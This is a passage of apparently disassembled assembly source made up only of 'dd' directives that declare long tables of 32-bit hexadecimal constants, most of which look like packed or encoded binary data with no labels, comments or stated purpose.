		dd 0C6AA02DBh, 0DDA78885h, 899D5305h, 8A1A0F64h, 8B0E0B4Ch
		dd 8C020389h, 45361026h, 8E0C908Dh, 91278FCAh, 1ACC3290h
		dd 9213A591h, 1993064Ah, 84329491h, 6724950Eh, 0BE909608h
		dd 18409722h, 2318998h,	8142499h, 225C909Ah, 7C16659Bh
		dd 0EA445D9Ch, 2A9E4306h, 0A044509Fh, 0A11ACA04h, 6A29513h
		dd 4419A32Ah, 0A58101A4h, 31A60D52h, 89A80CA7h,	0A90E91B8h
		dd 0AA444A20h, 12AB819Fh, 48AC044Dh, 20AD111Ch,	0CFAE447Dh
		dd 1112AF81h, 8648B004h, 1E32B111h, 0B319B298h,	0B4042012h
		dd 0B511AF48h, 0B6446E20h, 13B7817Ch, 0B8522957h, 6B99595h
		dd 0BB95BA21h, 40BC223Bh, 5D89BD04h, 8824BE02h,	8A90BF08h
		dd 0EB65C022h, 8E62C10Eh, 0AC924C2h, 0C4C587C3h, 24C5B162h
		dd 64621EE8h, 32C7A608h, 82B24C8h, 221090C9h, 0CB4840CAh
		dd 0CC026089h, 53520226h, 0CE2A82CDh, 35CF5406h, 5419A4D0h
		dd 93D20DD1h, 0C8D31029h, 29A090D4h, 0D61514D5h, 6D72A34h
		dd 0D921D843h, 0DBCADA90h, 32DC9132h, 0A5DD1AC0h, 648DE13h
		dd 32E064DFh, 52E219E1h, 4624E32Bh, 0E564E408h,	0E719E632h
		dd 4CE81F52h, 23E9461Eh, 88EB11EAh, 62EDC4ECh, 18EF31EEh
		dd 0F1468CF0h, 0F310F223h, 0F5C4F4C8h, 0F731F662h, 438CF818h
		dd 90FA21F9h, 90FCC8FBh, 0BEFD2103h, 0B1867B46h, 0E0A19E0h
		dd 4421201h, 11244802h,	440A3303h, 522F404h, 6081724h
		dd 7222190h, 89084140h,	90E912Eh, 0F0AFF66h, 890B0140h
		dd 240C021Dh, 900D0813h, 400E220Bh, 4D890F04h, 6410A691h
		dd 1232110Ch, 65521319h, 15269114h, 16294F15h, 0D017CFD0h
		dd 0CFD018CFh, 1ACFD019h, 0D01BCFD0h, 0CFD01CCFh, 1ECFD01Dh
		dd 531FCAD0h, 2B202091h, 81102144h, 23AA5822h, 24026089h
		dd 2594292Ah, 626CA82h,	22352795h, 54899A28h, 892A0D29h
		dd 192B0201h, 2BB0132Ch, 11EB2D0Eh, 4452202Eh, 3081972Fh
		dd 3104CA12h, 32115948h, 332B704Dh, 203411A2h, 0D53544A8h
		dd 643698C8h, 15A04837h, 3988CB38h, 3A220D90h, 893B8040h
		dd 3C529451h, 63DCA95h,	3FCA3E90h, 6240923Bh, 42314129h
		dd 468C4318h, 11452344h, 0C4478846h, 31496248h,	864B184Ah
		dd 4D234C46h, 4F884E11h, 516250C4h, 530C5219h, 5544486h
		dd 13525581h, 15571956h, 0EC584EC3h, 1AA55932h,	5B064A5Ah
		dd 325C9120h, 0A55D1AAAh, 64A5E13h, 6093195Fh, 91615462h
		dd 63186207h, 8064448Ch, 2F6552CAh, 2A066695h, 68493567h
		dd 13698A9Dh, 2A066A95h, 6C56196Bh, 0D6D2A9Ah, 81066E44h
		dd 7020526Fh, 327106A4h, 0C731972h, 75438674h, 77957621h
		dd 6478223Dh, 48790E28h, 207A1163h, 207B4429h, 75127C81h
		dd 65487D04h, 72207E11h, 0FC847F44h, 40806E45h,	8738186h
		dd 40838244h, 21CF8453h, 8610B085h, 67870780h, 62C5D88h
		dd 38A8189h, 8C20318Bh,	881D8D29h, 8948E08h, 90085E8Fh
		dd 0BF910896h, 8CD9208h, 94081193h, 799508B5h, 5E08960Ch
		dd 2B988097h, 81309980h, 9B47889Ah, 19C0CEBh, 6C89D2Eh
		dd 1A9F189Eh, 0A18110A0h, 0A306A202h, 0A5A44006h, 0A703A681h
		dd 40A83222h, 0AB81AAA9h, 5CAC1A88h, 0AE0EAD19h, 0B002AF12h
		dd 6B10641h, 0C8B3B240h, 0E1B3B41Ah, 0B70F20B6h, 0B945B864h
		dd 0C43BA04h, 40BC0EBBh, 0BE81BD24h, 0C0F92BB3h, 20C14720h
		dd 0C3402EC2h, 0C57440C4h, 78CA83h, 0C758BC7h, 0D44D800Ch
		dd 89D508FFh, 0E2D713D6h, 2485D2BFh, 10348D57h,	505319F9h
		dd 5F99C850h, 2CA06C9h,	8CC04CBh, 31CE10CDh, 2D032CFh
		dd 0D204D102h, 0D81AD30Ch, 2D9DBA9h, 6DB04DAh, 200858DCh
		dd 0DE3273DDh, 6DF1E0Bh, 0E14039E0h, 1E381E2h, 0E50331E4h
		dd 40E62320h, 6C8E8E7h,	54EA10E9h, 0C040EC1Eh, 3EE81EDh
		dd 0F00620EFh, 0C6F2F140h, 846F32Ch, 0F561F464h, 0F719F608h
		dd 0F912F81Ah, 0FB08FA04h, 207FC08h, 80B589FDh,	0C751C6D0h
		dd 2C0DADB2h, 40801419h, 898806FEh, 0E884449Dh,	91331827h
		dd 573C8DEDh, 0CC685383h, 8F503527h, 1C11C889h,	0EC2C688Dh
		dd 51011A46h, 410E1653h, 53046DFEh, 1FCBF284h, 764767Eh
		dd 2E0857C5h, 0CC20B4A8h, 0AA53684Bh, 7E6E9142h, 793F57D1h
		dd 0A24299D0h, 8549453Bh, 743293E8h, 53105185h,	20F883C0h
		dd 6A1F0375h, 18ED5B01h, 29C38BE5h, 8F0B0AEBh, 9216C883h
		dd 1CD0C31Eh, 1798B818h, 0D36FE87Ah, 0BEC8C085h, 0EDC67108h
		dd 56AEC7Dh, 335EA4A5h,	0C0D5A4DBh, 4B895F24h, 0C7CA5719h
		dd 559A6C20h, 0E13CF702h, 0FA5B2436h, 0F521A5A3h, 89188719h
		dd 0EC41AB7Dh, 52A205D0h, 68249822h, 45422487h,	0B4F8D1D4h
		dd 23F7F2B6h, 83F88AD2h, 840F06A7h, 8CCC9F6Bh, 350A5FCh
		dd 4667E68h, 3C225780h,	0F0B3D978h, 9E24F750h, 5D6367F4h
		dd 7ABD9AF8h, 728AA2C7h, 9046C8E9h, 9AF44D43h, 0BF574347h
		dd 5628138Ah, 0B6248883h, 0F5018E4h, 5813538Eh,	53C15D23h
		dd 20FD486Ah, 1F655478h, 0E92A3188h, 0CC824F01h, 8A05FDF4h
		dd 642F7B92h, 0DC408835h, 238BAFE4h, 8FA21B71h,	0E8685310h
		dd 9969086Bh, 5802657h,	0C010A166h, 359C4E1h, 73E0A303h
		dd 0BC0790B0h, 1CED1212h, 30D038h, 80EC7581h, 0B69432BFh
		dd 800494F5h, 4865AF18h, 2FC3D6E8h, 390C458Bh, 0C50C8D20h
		dd 68796FFCh, 2FC863ECh, 5366A8BFh, 0D4A7D524h,	5E2697A9h
		dd 6AE1D8D4h, 18108932h, 0B6733210h, 82FC706Fh,	0EAA89FAAh
		dd 0A3A06AA5h, 4AA36AA4h, 38325D7Fh, 39184550h,	797BA66Ah
		dd 0E811C298h, 11D9E457h, 0F118C05h, 0F3C7F1B6h, 10C60B21h
		dd 3FC48CC5h, 0F86815ACh, 8B767770h, 0EEEC35B0h, 16AC56A1h
		dd 0C045A830h, 0D81CA911h, 288AB47Ch, 6D224915h, 59052FB2h
		dd 0EFEA2437h, 135A9DEFh, 1BF23A2Ah, 4706D23Eh,	0FBCD3B83h
		dd 3EBC6C2h, 819CF467h,	9A013889h, 3B1D6BF0h, 113CE4EEh
		dd 0CE19170h, 8BC34BE8h, 21313D55h, 81513413h, 1D9214F8h
		dd 0FD5FE54h, 65228D32h, 0C10F80A1h, 2A0504E0h,	0D0A1AFA0h
		dd 66219475h, 1968A838h, 5158D6C9h, 48E4126Fh, 5016CC63h
		dd 8CD0096Ch, 2F635649h, 0FA9E8DCEh, 0F0089E4Bh, 0A391FE83h
		dd 55F87665h, 5688E086h, 0E06583C1h, 48CC2F92h,	0DC105692h
		dd 0FB6AB5CBh, 23C87EC1h, 0A0DCC88Fh, 0CBC78A10h, 250C5823h
		dd 8FA52EE2h, 0F8A60656h, 3E9067F2h, 778B38Ch, 39DD1AD0h
		dd 24D1CD10h, 24087B30h, 852E4DC0h, 19EBFC1Ah, 2AE80F28h
		dd 7EF60DE6h, 99A7A0B7h
		dd 0F9F71F59h, 317CB52h, 91FA639Ah, 0C941116Ch,	2E1D2AE8h
		dd 930AF613h, 94E9177Fh, 0CB2BA986h, 0E76D8B5Fh, 8440C7Eh
		dd 0F8486555h, 0F043D972h, 0ECA34C14h, 35358B0Fh, 411F0DE8h
		dd 2B99D681h, 7FD9BFC2h, 0F8D15081h, 32A3C703h,	3C276C94h
		dd 32408B1Ch, 71F4BF14h, 9F48A381h, 0FC933E8h, 75C8844Eh
		dd 8E0680Dh, 0EB40FC91h, 9005C7EAh, 999A9584h, 48BC9F05h
		dd 3D09CCE9h, 8B8E9810h, 91E4791Dh, 9F499AFh, 22EC12F0h
		dd 828457CCh, 0F97197D3h, 99623E1Ah, 75411B9Bh,	38D50217h
		dd 20391969h, 28487C8Bh, 0ECFC2475h, 0F4E62649h, 0ECF04006h
		dd 0FCF4577Ah, 36B79A9Bh, 43FBA36Bh, 7E50023Bh,	0BFE068DFh
		dd 0A8BAB293h, 18F80791h, 33048690h, 84539C0h, 2C7E7E90h
		dd 0BC9D168Dh, 29A83F7h, 70502424h, 23BC0549h, 66E5985Eh
		dd 0DD64EDB7h, 0A8B6003h, 3B04C383h, 0DC7C5EC5h, 9270581h
		dd 3141012Ch, 23CB172Bh, 4F2F5C58h, 0A2B52BE9h,	2E1BACB7h
		dd 33602CC8h, 0A4A068DBh, 1C852EF9h, 0E8FCE1ACh, 0BF35AE80h
		dd 435FD489h, 7872F3BCh, 22E2AB1Dh, 4CB26717h, 0FC7D8912h
		dd 9C40AC8Ah, 4207B8D8h, 12BA4924h, 0ACE602D4h,	947C7D50h
		dd 0B2594936h, 49C8D694h, 22A84831h, 48148BFDh,	0BF69BA20h
		dd 2BC76D42h, 84C0B588h, 52BC85C7h, 2F9A2ED5h, 9FA4BC21h
		dd 0B19ECCBAh, 6CF20C7Fh, 0BEE9532Eh, 56CBA049h, 0EB423896h
		dd 0E910EA21h, 0C090E888h, 5488C0E8h, 54E285E4h, 2B7A18E4h
		dd 88D76182h, 2A9B5912h, 3AD7CB2Eh, 0F9D8A6Eh, 235A402Ch
		dd 4B19C846h, 6A962830h, 1C680513h, 5B61795Ah, 5ED253Bh
		dd 0B850E324h, 8E8A49D0h, 0A1D12A31h, 935DAA38h, 200C5DA1h
		dd 3CFCF035h, 659E1DD4h, 0F3C8F414h, 5015FB2Ch,	0CA0A227h
		dd 0E6D2F633h, 38A2CA4h, 46AC354Ch, 33CF4888h, 0C08D4018h
		dd 0EF7C280Eh, 8D606A17h, 306830C8h, 0E8676C04h, 28E12ABFh
		dd 0B0599E1Fh, 0AC34D113h, 68AC9585h, 11ED640Fh, 2DB3A0E8h
		dd 45051C9Ch, 5B68096Ah, 81873248h, 45848D59h, 7F215263h
		dd 117040B1h, 0BB401A04h, 0FE88E0D0h, 4324D0FFh, 5D953721h
		dd 0B14E8822h, 0B209043Ch, 0EFE4448h, 95612171h, 824E653Bh
		dd 1F6C1069h, 0CD993538h, 0DB022862h, 9051EC58h, 0B06920A9h
		dd 4C2A4325h, 0F08043Ah, 0D390D285h, 0DE0DAC68h, 0E220CAAFh
		dd 38909CCAh, 2941E944h, 0C3541531h, 0E685E3A0h, 8C00B4EAh
		dd 0BE29E1E8h, 7B685420h, 17D06C56h, 33DF14E5h,	1C84560h
		dd 84ED3828h, 40712481h, 6413B54Ah, 0A677593Ch,	4064E216h
		dd 48619772h, 0A98F0CEDh, 5F221017h, 14B6E111h,	9483358Ch
		dd 0FE81A162h, 0A7C9748h, 1C52BEE9h, 7530439Eh,	316A6909h
		dd 380B8250h, 63F3F2D2h, 41E80D39h, 0D8C1854Eh,	37069608h
		dd 51A832FEh, 5E0AEB18h, 3407D068h, 0D2EF293Bh,	0BE381765h
		dd 70218C12h, 580A91F0h, 0FB4D9E70h, 7A662E28h,	0F78C8509h
		dd 23D64B13h, 849EA98h,	0C06B0F4Eh, 4080223Ch, 85890170h
		dd 6837857Ch, 5E050E29h, 7621D23Ch, 0C0828BCh, 23B24B9Ah
		dd 3B422B94h, 482C0F3h,	96258503h, 62CE98DEh, 2EE3210h
		dd 0CABD6802h, 26C66D78h, 468B40BBh, 83B6A0Ch, 92566953h
		dd 29F0C4EAh, 98262E8h,	82F97835h, 73F824B3h, 2771DC62h
		dd 65D65BB9h, 0C80538D9h, 1EE8C4E4h, 0E00811AFh, 88DA321Dh
		dd 0FDE088E4h, 0F3C4764h, 2618E12h, 0AB6CD0DBh,	538988E2h
		dd 81BA89FDh, 9730ECA6h, 35547157h, 27901602h, 0BD14F7A0h
		dd 0A845AE98h, 5ABC7431h, 6A781A42h, 1979421Bh,	900A032Fh
		dd 0DE57641Bh, 1A6B2421h, 0E801D810h, 0FABE4C0Fh, 4C0830Ah
		dd 0CE6526B4h, 0A8A230F4h, 0FB6EA81Dh, 586C0294h, 921D80E2h
		dd 0D5868953h, 212B4FD4h, 2366DA55h, 0B6A4AA45h, 8CE4CE82h
		dd 0D5E0C86Eh, 84312658h, 5A44B6E0h, 9818591Bh,	0BD303BB2h
		dd 6C706A22h, 0F8682A91h, 11AA432Bh, 5E10C774h,	9678C40Ah
		dd 68229222h, 0C0F5984h, 6C3BA13Ch, 7C2E6F50h, 3CEC858Ah
		dd 0A9096D24h, 1E1BC2FCh, 87B070F8h, 0C2DC896Fh, 0EB75116Ah
		dd 9B7C2360h, 508E289Ah, 582B516Dh, 55B70926h, 0B87F4407h
		dd 111322D2h, 44880C90h, 2EA8F8DAh, 769625FDh, 335E8249h
		dd 4C4808DFh, 0C53F8BCh, 2F74C285h, 9667053h, 264B680Ch
		dd 8D7324AFh, 0BF12114h, 0D26A8F95h, 89208982h,	0ECF4091Dh
		dd 5E5F0BDEh, 0D940C033h, 55135351h, 63271D8Bh,	0D556EDE3h
		dd 4C6825C1h, 0AE8E3275h, 0D3892024h, 5542CB66h, 0B622F147h
		dd 0E9901086h, 2444891Dh, 501C5331h, 2144D636h,	55578887h
		dd 0F806836h, 0BF55C396h, 347FC2C8h, 7AD11DD6h,	0B869102Ch
		dd 55587482h, 5D288EA4h, 0F7D48BF6h, 157492A2h,	0F154E81Ch
		dd 0D504C71Fh, 57358448h, 0D3C7AC56h, 3B59AB03h, 187498FDh
		dd 0D996A457h, 17F475A6h, 0AD8D71EBh, 42559D61h, 3F885618h
		dd 100D32B3h, 0CC13DEBAh, 0B5E2CBCh, 0C3595B5Dh, 300C7971h
		dd 0BE7DB456h, 8661392Ch, 622491E8h, 0B1EC276Fh, 0B4140CE1h
		dd 0F59EF84Dh, 68A682C9h, 6A418954h, 0AB0C7AF1h, 0D02A2768h
		dd 0C236CAAFh, 5470F405h, 8B513896h, 0C4D883FEh, 0C13D0748h
		dd 0C50308E6h, 40C5B6ECh, 45C47DEh, 55072E56h, 0BB9FF73h
		dd 214B6C75h, 0DD260418h, 0ABDB33C2h, 0B16B0893h, 0E04DAC91h
		dd 45E8C054h, 7804C1FBh, 6032B594h, 13226AF4h, 0AA5A431Ch
		dd 2C17386Eh, 5D09888Fh, 44A468FCh, 3992FF0h, 0CEAF32Eh
		dd 81DEBBDFh, 420A7502h, 0EB239C5Ch, 54517A5Ah,	8C742594h
		dd 4423E723h, 1135228Ch, 8C4F0C84h, 208BC242h, 8286A8E4h
		dd 0E2932CD7h, 37088D59h, 0E957897Ch, 3B8148F2h, 8C140C74h
		dd 74148747h, 6C211B30h, 6F02F988h, 8A0FCEB1h, 0B4B53A0Bh
		dd 0FD6D9305h, 52E9540Bh, 0B911A77Eh, 0E34674CFh, 44F2963Eh
		dd 1E22C1E1h, 7A6FBB55h, 5732C842h, 542ED388h, 0A221569Bh
		dd 7CA44045h, 0E8724470h, 9A0FA148h, 8CF8081Fh,	349B12A4h
		dd 300C2267h, 0D6B72D24h, 1BD8F783h, 1CDCDCC0h,	5757C87Ch
		dd 98689C05h, 6B673A48h, 471AD30Ah, 8801C568h, 384A15D3h
		dd 0F59C3488h, 0F891749h, 5CC9FC84h, 0D0923272h, 0C98CC812h
		dd 8C5848B2h, 3EBC8550h, 0B4BE5613h, 5B36D723h,	0C050D646h
		dd 0C0D0745h, 0C672C942h, 1104225Bh, 5EB2C676h,	0C8FE8118h
		dd 0B3D17C5Bh, 5E598270h, 48CCC95Fh, 98A26854h,	2286C0EAh
		dd 332A02C5h, 0FC3FDFFFh, 68387257h, 8A0F343Fh,	0E61A1F1Bh
		dd 76806435h, 2F485508h, 0C07910Bh, 563AEB10h, 0CB43FA1h
		dd 30BE8886h, 0D44C04Fh, 0C28D2105h, 0B22550EDh, 32484114h
		dd 0A13BA310h, 64FE3182h, 145A7BE8h, 4E68F6A9h,	57E421B2h
		dd 4A427FBFh, 0AFC3CCBEh, 2364B2C3h, 40578C10h,	1DCB3C22h
		dd 86D858Dh, 84735482h,	0C85B1373h, 80AEF0EAh, 0A7A425B7h
		dd 0E818165Dh, 0DED5FEB5h, 7B7AE43Ch, 6B0BCC2Fh, 383368CDh
		dd 7F024FC1h, 62834D67h, 5083E351h, 0D0A1C364h,	69032AAEh
		dd 5A4E35C0h, 80A3C201h, 10E8C10Ch, 0E5C1A1C3h,	0B70F7F85h
		dd 0DF08C7F0h, 810BDAEAh, 5EC60BC0h, 40BE91C3h,	48A62745h
		dd 247C0BEDh, 0EC40C562h, 9AD22018h, 1B76FF40h,	4904BE0Fh
		dd 0C2AA63Eh, 148860C6h, 0FEE84657h, 0F60EF7D6h, 0E57261F0h
		dd 0DE82C78Bh, 565553C3h, 1406FEE4h, 0E4E8ED33h, 0DF407135h
		dd 29C3625Bh, 34F08B1Ch
		dd 839317EAh, 250B10D4h, 0CA7314BBh, 52884349h,	0F60CEE2Eh
		dd 0B13C2174h, 0B50067D2h, 2775905h, 54EE588Bh,	0E61CA370h
		dd 75CC9834h, 76ED7AE5h, 0B8051BC5h, 0CA0F670Ch, 0D2C35B5Dh
		dd 56042000h, 1E84088Ah, 0D42374C9h, 4E6FA354h,	0B190A8Ch
		dd 750E3800h, 80424607h, 0EFDCE13Eh, 79F27F3Bh,	0EA3A700Ah
		dd 0EB401305h, 5EE80AD7h, 1E31A232h, 0BC4C3A09h, 2E662858h
		dd 2A601EF1h, 1BD9F617h, 0D1F709C9h, 2C98C123h,	76CC107Dh
		dd 905D5E04h, 0FE4D7A07h, 0B0B0DD55h, 18A1154h,	1810844Dh
		dd 41B6023Ah, 0B62FD842h, 160B60Fh, 0C12B0A06h,	125F9B5Dh
		dd 6F5B038h, 9B34BE2Ah,	7D075690h, 66A5F3E4h, 4621A426h
		dd 9AC82018h, 342F97DBh, 0E8A45002h, 33AC6ED6h,	4A025F12h
		dd 0C014745Eh, 6F6AE498h, 83EF8A1Ah, 0F7990DA0h, 443F8AF9h
		dd 442DCC15h, 0CCBAC82Bh, 8AC42882h, 0CFE34DDFh, 453076F0h
		dd 8B530A08h, 56BCA15Ch, 0B04658D6h, 8AFF1559h,	1212A306h
		dd 0B58E1650h, 1F984319h, 59472018h, 3DEE7524h,	8DCB2480h
		dd 0E0AA09AAh, 0BFAA1045h, 57B0728Ch, 0A434743Fh, 0C64EC335h
		dd 0F32C085Dh, 703BCD43h, 0FF433206h, 0C5D05014h, 8957D006h
		dd 82100855h, 3BFD20A7h, 0A41175C1h, 926ADE37h,	501816D5h
		dd 0DB59F5D3h, 7AF6EB14h, 4BC0C26h, 941DFFE8h, 102580D0h
		dd 783C5948h, 8ACF070Dh, 88913014h, 5A8C4111h, 38F6F57Dh
		dd 531233E1h, 44442C24h, 6C68BC82h, 49421173h, 4D1FBADDh
		dd 124C271Bh, 5FDA469h,	0FF756DE0h, 482B2DB2h, 0D5344514h
		dd 5068112Fh, 16083A52h, 4459359Ah, 0E0AE9DA9h,	51052AA4h
		dd 97C9D0FFh, 2EB0882h,	0B95801B0h, 0E8286825h,	811F7A48h
		dd 0C642E28Bh, 0FF132800h, 766DE830h, 0B903C021h, 0A490D208h
		dd 67E659B7h, 56D8A07Fh, 8053438h, 45FA02C5h, 875EBEF0h
		dd 0A2507485h, 4BC81016h, 44F194B1h, 276AE6F0h,	0DC7A30F8h
		dd 6B38FB56h, 8098C4D7h, 747FFC36h, 48171E48h, 0FED82CD8h
		dd 76E2F464h, 9156FC12h, 0F768D7D4h, 2444D458h,	0FC16FB59h
		dd 0B9996330h, 0CA21D4E6h, 29FC6450h, 0C1364E8h, 9925FABFh
		dd 15813D90h, 0DFB21F8h, 61BDFB28h, 53505851h, 38435297h
		dd 268BCC57h, 71FE6505h, 0C6F3850h, 308F0482h, 0DC8EB9E2h
		dd 9D009210h, 9CBE5910h, 0BDCEA9ADh, 90D527Eh, 3089A490h
		dd 32ED3ACh, 0E40106C9h, 89A3C3F1h, 627F47Dh, 50F99AF0h
		dd 5E2DD36h, 0D14F840Fh, 42396AA3h, 8854B4EBh, 491C1208h
		dd 0B608BB61h, 0ED2E251Ah, 0E6157543h, 6F7DF65Fh, 48515808h
		dd 0E10C254Dh, 0F97CFFFAh, 0A2D27F75h, 7674829Fh, 4457604Fh
		dd 0AB4673Dh, 8DB5515Ch, 0E108A54Ch, 0E18C036Ch, 0B662E0C1h
		dd 0B701493Dh, 0A25F13C3h, 64158C8Dh, 0D88A01B5h, 883FE380h
		dd 69A7019h, 0F6E494Ch,	7AF075FCh, 87F8DEA6h, 3103C783h
		dd 8D3B04C2h, 0BFB472C6h, 8DF4B689h, 0FE01F707h, 71C025FDh
		dd 0AE60870Fh, 85C9329Bh, 257624D2h, 0BCA431C2h, 3314005h
		dd 0C160FEC6h, 848AFC3Ah, 48EDA43Dh, 0E4D9A8Bh,	3BC13860h
		dd 0DD3472C2h, 0CE1F8C83h, 67C6328Eh, 70700A18h, 0A6317501h
		dd 0E8229DDCh, 0DD941B35h, 0A9DE1CD0h, 0F176BB8h, 0EB39F485h
		dd 51743449h, 59DC0035h, 510DF1F7h, 12C22B58h, 4184109Fh
		dd 0BE0F1E7Eh, 8BC8F7CAh, 3D64B8D1h, 7C68D03h, 0E98180E8h
		dd 0ABF33B02h, 0E183CA87h, 48AA7503h, 0BCA22449h, 42661EA2h
		dd 85569EA1h, 0C5E0BED0h, 0A77C6FB5h, 2635B850h, 89ADEEE4h
		dd 63481CAFh, 899F057Fh, 803581C7h, 41B8E1A0h, 273D5077h
		dd 9AFAB832h, 0FA2AD974h, 0FFADFD68h, 18156316h, 0F3224A8Dh
		dd 0FE245E0Fh, 0CC84349Bh, 1A4572D6h, 0C29E122h, 5B6D9154h
		dd 20680488h, 6B21029Bh, 113BC1Ah, 0FB4C91FAh, 0E00642F9h
		dd 0E906F229h, 8A701170h, 2A80C7Ch, 0A2528830h,	0A9AE5868h
		dd 0BAC38A1h, 0ACE5A415h, 992327D3h, 0A5490FE8h, 5FA32821h
		dd 0B077502h, 7E0AE9C0h, 0FC658938h, 0ED18FE24h, 3CE82CDDh
		dd 6C48520Eh, 813C0647h, 7260231h, 400BF91Bh, 68357FC4h
		dd 48BC9B30h, 2E4853D1h, 28283632h, 10EA0C2Fh, 0E240841Ch
		dd 0DA408414h, 0D240840Ch, 0CA5E8404h, 73347E99h, 0BD808854h
		dd 0D22D0EA3h, 9050125Dh, 0BD1973C2h, 1EC4A51Ch, 8B041B82h
		dd 3341F0F8h, 18196A2Dh, 0D35DE85Fh, 8B56D027h,	6CD20C47h
		dd 0F0322AB3h, 294E507Bh, 833F4A63h, 0C73BE9CFh, 0C640827Ch
		dd 0D94A95E9h, 8658ED07h, 0A5AC742Dh, 8A9010AAh, 69A40AE8h
		dd 0D1DA3AF0h, 0EBF8415Ah, 0AE40ED16h, 74442E68h, 8C6544A3h
		dd 3FD06C5Ch, 0BD132327h, 1C0A20C5h, 58432AA6h,	0C4973B22h
		dd 0D688212Fh, 1509D33Ah, 3C3C30E8h, 0FDD71110h, 20648888h
		dd 0CA1B6C72h, 0F4081FF9h, 729BC4FDh, 439F9C4Ch, 0F9C6103Ch
		dd 62FDCD84h, 25279974h, 33146352h, 68ABD944h, 963052F7h
		dd 8B90699Dh, 2BAF18C9h, 64420495h, 8A122810h, 45763462h
		dd 616B6557h, 681189E2h, 4DC9AFF8h, 3F071545h, 13083C95h
		dd 4A3245F4h, 518B2459h, 68078910h, 53FD44B0h, 8B7570Bh
		dd 649818B1h, 0F0680E85h, 2896B949h, 0FAF8D975h, 2F885F82h
		dd 1C523815h, 0B4D85065h, 64A1EC65h, 7799EACEh,	0E41342C5h
		dd 1809BB11h, 0F9A680C5h, 5CF89D28h, 4A88A45Bh,	0D24BFC3Ch
		dd 41C4111h, 7EEBF78Bh,	7B5E700Ah, 0CA16F6C2h, 20424E70h
		dd 8B2D18EAh, 4A81EEC6h, 0C4771751h, 0D7EF21B8h, 5C333316h
		dd 0DC351619h, 0D7A05584h, 97395C28h, 24167F75h, 3E2B4736h
		dd 648B7ED9h, 13447809h, 83E1EB04h, 0E1A20AC6h,	17D7E948h
		dd 84CD284Bh, 0BE160B43h, 984B5AC8h, 381DBB74h,	6C22C467h
		dd 0A81DBF78h, 6A23FD43h, 64FCE008h, 0FE70615Ch, 89A64E0Ch
		dd 0ED293078h, 50675F5h, 9BCA1D8Bh, 0D73B00F3h,	0FA830E7Ch
		dd 5C7E0119h, 0F30020Ah, 0E8C7C58Dh, 0B82635C7h, 0D72B861Fh
		dd 4AE7442Ch, 0A2BDCBB0h, 99AAE80Ch, 909301Dh, 9534C87Dh
		dd 3AA72824h, 28F7E242h, 561A4C14h, 0E991488Ah,	897BD1CDh
		dd 51DD2899h, 2A15C606h, 22765231h, 0AC50AF58h,	2658EFD2h
		dd 37024822h, 708B10D3h, 3853A23h, 7207F633h, 969EFA8Bh
		dd 1D7EDE06h, 5018864Ah, 580161Ah, 948861C2h, 46450735h
		dd 0E37CE03Bh, 0CA984C6h, 0F40D3040h, 50E08380h, 4485A103h
		dd 2EC88D18h, 0BBC2B239h, 49597C49h, 76B3DE75h,	0C2E9D3E0h
		dd 0CA2BFDA4h, 8370E0F4h, 9E889BF6h, 0D3142138h, 0A206A2B1h
		dd 0B914EF06h, 100B3FD7h, 4BF2FDA8h, 74F1CFA8h,	0AE646816h
		dd 197F7B2h, 0E83EEB6Eh, 4845C46h, 0DE18908Dh, 0E840F5D5h
		dd 8E82918h, 5E05813Eh,	9CCE8B99h, 3B434280h, 0D01D7DD6h
		dd 9219B9F2h, 0F6691757h, 8158A064h, 74C0C610h,	7CBD8D0Ch
		dd 0A507F355h, 0D5E867EBh, 837AE669h, 7CAA2A30h, 0D2692AA3h
		dd 0C0C23E29h, 0EBA852C0h, 23ADB2E8h, 78F2F810h, 0F71C8F39h
		dd 0F443FE64h, 8F8C743Ch, 4F2126FDh, 57B8F337h,	68204722h
		dd 0D14F07BCh, 0FFF1979Ah, 2C26FD20h, 284554F9h, 53276B8Ah
		dd 7D561987h, 76C80h, 74403E80h, 5E048A27h, 200D0337h
		dd 15D8DB85h, 24F3BE0Fh, 5C8A1C13h, 35069811h, 430E0388h
		dd 0EF3C8047h, 41D9AD40h, 8623D3F3h, 33E5E11Bh,	2110869Bh
		dd 0D47CD7DFh, 6F7BA801h, 0ACC6770Ah, 0C706437Ah, 79EC8A05h
		dd 985BBE46h, 10EB6FE6h
		dd 74962BBEh, 0C8A8AC27h, 1031AF8Fh, 8925124h, 80AA3056h
		dd 4DE13B4Ah, 5122483Ch, 1ED05762h, 3A3DC126h, 0FC332816h
		dd 20F00846h, 29452323h, 3F46B803h, 0DB6404D8h,	0E746120h
		dd 88F0AA47h, 12DC3D44h, 1834647h, 80E2724Ch, 1F16B864h
		dd 33C14D8Ah, 89C984C0h, 1F741370h, 377D8D17h, 4C2BE64h
		dd 0AD814780h, 0BE8AD041h, 0EF751BC6h, 3BA73C33h, 0A4460196h
		dd 26B9D19Eh, 62146A8Bh, 54FA68A9h, 90B0B512h, 81E13D0Ch
		dd 80097DE3h, 88C1DD65h, 16EB3689h, 93EFFC5Ah, 0FCD3504Eh
		dd 971CB601h, 616BC189h, 7BBC070h, 43418C27h, 0C3F74B2Bh
		dd 3822F4B4h, 0F03B37ACh, 17435D4h, 3FC4DE3h, 0B98DD9F7h
		dd 8349EE4h, 811BF354h,	0CF2BCB8Bh, 58D7A60h, 7301084Ch
		dd 85FF001Bh, 8B2D7EC9h, 452BC706h, 246003F4h, 347A148Ah
		dd 0F197C042h, 0EB09F57Ch, 70418D18h, 0EE11F20Dh, 2B06160Ch
		dd 78984FEh, 50880FECh,	0F7754E49h, 4950D3CAh, 0F1FCAB6Fh
		dd 1616AAB7h, 0E311A3E8h, 0F8450A25h, 98A0E146h, 51D1C49Dh
		dd 6EFECF5Fh, 1C71A100h, 8284D3Eh, 805A51E4h, 28B9513Fh
		dd 10530301h, 35253E58h, 0D1301611h, 0B589DE8Bh, 8408ACA4h
		dd 2825C837h, 54336893h, 261884F2h, 35903E44h, 0A979E182h
		dd 180D3335h, 66A127E4h, 29599528h, 26C8C921h, 0E61C424Ah
		dd 413C0C3Eh, 3CE55C59h, 5A180C7Ch, 83C8B57Fh, 0EB37E90Ah
		dd 308D0806h, 3AA38A8Ah, 83C00419h, 4A1136E8h, 35DB030h
		dd 321BC849h, 0DCE5827Bh, 4D88435Fh, 22F32BA1h,	4474815Bh
		dd 0F2CBC303h, 8D5A4057h, 0B38491Ch, 0CE2BCFC0h, 0C3A2DE3Bh
		dd 71154A5h, 0EF217E8Ah, 880E8A80h, 4624330Ch, 0EB0E3048h
		dd 4848B214h, 8218190Fh, 8D622140h, 2D49112Eh, 0AFAB7C25h
		dd 0F5C6AF49h, 633B042Fh, 469CF400h, 0F38B24FCh, 223E9148h
